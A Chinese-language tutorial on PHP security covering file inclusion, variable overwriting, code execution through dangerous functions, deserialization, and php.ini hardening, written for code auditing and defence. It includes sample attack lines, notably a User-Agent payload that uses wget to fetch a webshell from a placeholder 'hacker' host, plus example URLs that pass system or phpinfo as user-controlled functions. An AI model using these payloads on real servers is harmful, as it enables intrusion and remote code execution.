PHP安全

  时至今日，PHP是一种非常流行的web开发语言，但PHP语言的安全问题也很多，而且PHP语言的安全问题有其自身语言的一些特点。

文件包含漏洞

  在互联网的安全历史中，PHP的文件包含漏洞已经臭名昭著了，因为在各种各样的PHP应用中挖出的文件包含漏洞数不胜数，且后果都很严重。
  代码注入攻击的原理是注入一段用户能控制的脚本或代码，并让服务器端执行。代码注入的典型代表就是文件包含（file inclusion）。文件包含可能会出现在JSP、PHP、ASP等语言中，常见的导致文件包含的函数如下：

PHP: include(),include_once(),require(),require_once(),fopen(),readfile(),...;
JSP/Servlet: ava.io.File(),java.io.FileReader(),...
ASP: include file(),include virthal(),...

  文件包含是PHP的一种常见用法：主要有四个函数：

include()
require()
include_once()
require_once()

  当用这四个函数包含一个新的文件时，该文件将作为PHP代码执行，PHP内核并不会在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL，也都将作为PHP代码执行。这一特性，在实施攻击时将非常有作用。
  成功利用文件包含漏洞，需要满足两个条件：

  • 1.include()等函数通过动态变量的方式引入需要包含的文件；
  • 2.用户能够控制该动态变量。

本地文件包含

  能够打开并包含本地文件的漏洞，被称为贝本地件包含漏洞（local file inclusion,简称LFI）
  关键词：

  • 字符串截断：PHP0字节（\x00作为字符串结束符；
  • 操作系统对目录最大长度限制，超过最大长度之后的字符将被抛弃（Windows256字节、Linux4096字节）
  • 目录遍历：诸如使用了../../../这样的方式来返回到上层目录中的方式，再利用时可以以编码的方式绕过安全检测；
  • open_basedir：其作用是限制在某个特定目录下PHP能打开的文件，需要注意的是open_basedir的值是目录前缀，列：open_basedir=/home/app/aaa限制目录为/home/app（Windows下多个目录用分号隔开，Linux下用冒号隔开）。

远程文件包含

  如果PHP的配置选项allow_url_include为ON的话，则include/require函数是可以加载远程文件的，这种漏洞被称为远程文件包含漏洞（remote file inclusion，简称RFI）

本地文件包含的利用技巧

  

  • 包含用户上传的文件；
  • 包含data://或php://input等伪协议；
    伪协议如php://input、data://等需要服务器支持，同时要求allow_url_include设置为ON。
  • 包含Session文件；
    包含Session文件的条件需要攻击者能控制部分session文件内容。
  • 包含日志文件，比如web server的access log；
    包含日志文件是一种比较通用的技巧。因为服务器一般都会往web server的access_log里记录客户端的请求消息，在error_log中记录出错的请求。因此攻击者可以间接的将PHP代码写入到日志文件中，在文件包含时，只需要包含日志文件即可。（日至文件每天更新，在凌晨时完成，能够提高效率）
  • 包含/proc/self/environ文件
    包含/proc/self/environ是一种更为通用的方法，他不需要猜测被包含文件的路径，同时用户能控制他的内容，可以看到web进程运行时的环境变量，其中很多都是用户可控的，最常用的方法是在User_Agent中注入PHP代码，比如：
<?php system('wget http://hacker/shells/php.txt -O shell.php');?>

  以上这些方法，都要求PHP能够包含这些文件，而这些文件往往处于web目录之外，如果PHP配置了open_basedir,则很可能使得攻击无效。

  • 包含上传的临时文件（RFC1867）。
    但是PHP创建的上传临时文件，往往处于PHP允许访问的目录范围内。包含这个临时文件的方法，其理论意义大于实际意义。
    PHP会为上传文件创建临时文件，其目录在php.ini的upload_tmp_dir中定义。但该值默认为空，此时在Linux系统下会使用/tmp目录，在Windows下会使用C:\windows\tmp目录。该临时文件的文件名是随机的，攻击者必须准确的猜测出该文件名才能成功利用漏洞。（可以暴力破解，Windows下仅有65535种不同的文件名）
  • 包含其他应用创建的文件，比如数据库文件、缓存文件、应用日志等。

变量覆盖漏洞

全局变量覆盖

  变量如果未被初始化，且能被用户所控制，那么很可能会导致安全问题，在PHP中，这种情况在register_globals为ON时尤为严重。register_globals为ON时，变量来源可能是各个不同的方向，比如页面的表单、cookie等，当用户能够控制变量来源是，无论变量有没有被初始化，都将造成一些安全隐患。

extract()变量覆盖

  extract()函数能将变量从数组导入当前的符号表，其函数定义如下：

int extract(array $var_array [, int $extract_type [, string $prefix]])

  其中第二个参数指定函数将变量导入符号表时的行为，最常见的两个值是“EXTR_OVERWRITE”和“EXTR_SKIP”。当值为“EXTR_OVERWRITE”时，再将值导入符号表的过程中，如果变量名发生冲突，则覆盖已有变量；当值为“EXTR_SKIP”则表示跳不过覆盖。若第二个参数未指定，则默认为“EXTR_OVERWRITE”。
  一种较为安全的做法是确定register_globals=OFF后，在调用extract()时使用EXTR_SKIP保证已有变量不被覆盖。（extract()的来源不能被用户控制）
  在PHP中是由php.ini中的variables_order所定义的顺序来获取变量的。

遍历初始化变量

  常见的一些以遍历的方式释放变量的代码，可能会导致变量覆盖。在代码审计时需要注意类似“$$k”的变量赋值方式有可能覆盖已有变量，从而导致一些不可控制的结果。

import_request_variables变量覆盖

bool import_request_variables(string $type [, string $prefix])

import_request_variables()将GET、POST、Cookie中的变量导入到全局，使用这个函数只需要简单的指定类型即可。

parse_str()变量覆盖

&emsp;&emsp;void parse_str(string $str [,array &$arr])

  parse_str()函数往往被用于解析URL的querystring，但是当参数值能被用户控制时，很可能导致变量覆盖。如果指定了parse_str()的第二个参数，则会将query string中的变量解析后存入该数组变量中。因此在使用parse_str()时，应尽量指定第二个参数。与parse_str()相似的函数还有mb_parse_str()。
  安全建议：
1.确保register_globals=OFF。若不能定义php.ini，则在代码中控制
2.熟悉可能造成变量覆盖的函数和方法，检查用户是否能控制变量的来源。
3.尽可能的初始化变量。

代码执行漏洞

  PHP代码执行的两个关键条件：

  • 第一是用户能够控制的函数输入；
  • 第二是存在可以执行代码的危险函数。

”危险函数“执行代码

  文件包含漏洞是可以引起代码执行的。但在PHP中，能够执行代码的方式远不止文件包含漏洞一种，比如危险函数popen()、system()、passthru()、exec()等都可以执行系统命令。此外，eval()函数也可执行PHP代码。还有一些比较特殊的情况，比如允许用户上传PHP代码，或者是应用写入到服务器的文件内容和文件类型可以由用户控制，都可能导致代码执行。
挖掘漏洞的过程，通常需要先找到危险函数，然后回溯函数的调用过程，最终看在整个调用过程中用户是否有可能控制输入。

”文件写入“执行代码

  在PHP中对文件的操作一定要谨慎，如果文件操作的内容用户可以控制，则也极容易成为漏洞。

其他执行代码方式

直接执行代码的函数

  PHP中有不少可以直接执行代码的函数，比如：eval()、assert()、system()、exec()0、shell_exec()、passthru()、escapeshellcmd()、pcntl_exec()等。一般来说最好在PHP中禁用这些函数，在审计代码时则可以检查代码中是否存在这些函数，然后回溯危险函数的调用过程，看用户是否可以控制输入。

文件包含

  文件包含漏洞也是代码注入的一种，需要高度关注能够包含文件的函数：include(),include_once(),require(),require_once()。

本地文件写入

  常见的能够往本地文件里写入内容的函数有file_put_contents(),fwrite(),fputs()等。写入文件的功能可以和文件包含、危险函数、执行等漏洞结合，最终使得原本用户无法控制的输入变成可控。在代码审计时要注意这种”组合类“漏洞。

preg_replace()代码执行

  preg_replace()的第一个参数如果存在/e模式修饰符，则允许代码执行。当第一个参数中没有没有/e模式修饰符时，也是有可能执行代码的，这要求在第一个参数中包含变量，并且用户可控制，有可能通过注入/e%00的方式截断文本，注入/e。

<?php
$var='<tag>phpinfo()</tag>';
preg_replace("/<tag>(.*?)<\/tag>/e",'addslashes(\\1)',$var);
?>

动态函数执行

  用户自定义的动态函数可以导致代码执行。需要注意如下情况：

<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>

  这种写法近似于后门，将直接导致代码执行，比如：

http://www.example.com/index.php?dyn_func=system&argument=uname

Curly Syntax

  PHP的Curly Syntax也能导致代码执行，他将执行花括号间的代码，并将结果替换回去，如：

<?php
$var = "I Love You ${'ls'}";
?>

  ls命令将列出本地目录的文件

回调函数执行代码

  很多函数都可以执行回调函数，当回调函数用户可控时，将导致代码执行。

<?php
$evil_callback = $_GET['callback'];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback,$some_array);
?>

攻击payload如下：

http://www.example.com/index.php?callback=phpinfo

unserialize()导致代码执行

  unserialize()代码执行有两个条件：

  • unserialize()的参数用户可以控制，这样可以构造出需要反序列化的数据结构；
  • 存在_destruct()函数或者_wakeup()函数。这两个函数实现的逻辑决定了能执行什么样的代码。

定制安全的PHP环境

  推荐php.ini中一些安全参数的配置：

  • register_globals
    当register_globals=ON时，PHP不知道变量从何而来，也容易出现一些变量覆盖的问题。因此从最佳实践的角度，强烈建议设置register_globals=OFF，改设置在最新版本的PHP中默认设置。
  • open_basedir
    open_basedir可以限制PHP只能操作指定目录下的文件。这在对抗文件包含、目录遍历等攻击时非常有用。 
    open_basedir = /home/web/1/
  • allow_url_include
    为了对抗远程文件包含，关闭此选项，一般PHP应用不会用到此选项，而且推荐关闭allow_url_fopen. 
    allow_url_include = Off
allow_url_fopen = Off
  • display_errors
    错误回显，它可以暴露出非常多的敏感信息，为攻击者下一步攻击提供便利。推荐关闭 
    display_errors = Off
  • log_errors
    在正常环境下使用，把错误信息记录在日志里，正好可以关闭错误回显： 
    log_errors = On
  • magic_quotes_gpc
    推荐关闭，他并不值得依赖，已知已经有若干种方法可以绕过它，甚至由于他的存在反而衍生出了一些新的安全问题。XSS、SQL注入等漏洞，都应该由应用在正确的地方解决，同时关闭它还能提高性能。 
    magic_quotes_gpc = Off
  • cgi.fix_pathinfo
    若PHP以CGI的方式安装，则需要关闭此项，以避免出现文件解析问题 
    cgi.fix_pathinfo = 0
  • session.cookie_httponly
    开启httponly 
    session.cookie_httponly = 1
  • session.cookie_secure
    若是全站HTTPS则请开启此项。 
    session.cookie_secure = 1
  • safe_mode && disable_functions
    PHP的安全模式是否被开启一直有争议，因为它可以被绕过，disable_functions函数能够在PHP中禁用一些函数。共享环境中（比如：APP Engine）则建议开启safe_mode，并和disable_functions函数配合使用；单独的应用环境，则可以考虑关闭safe_mode，利用disable_functions控制运行环境安全。

小结

  PHP是一门被广泛使用的web开发预言，它的语法和使用方式非常的灵活，这也导致了PHP代码安全评估的难度相对较高，PHP的安全问题相对较多。

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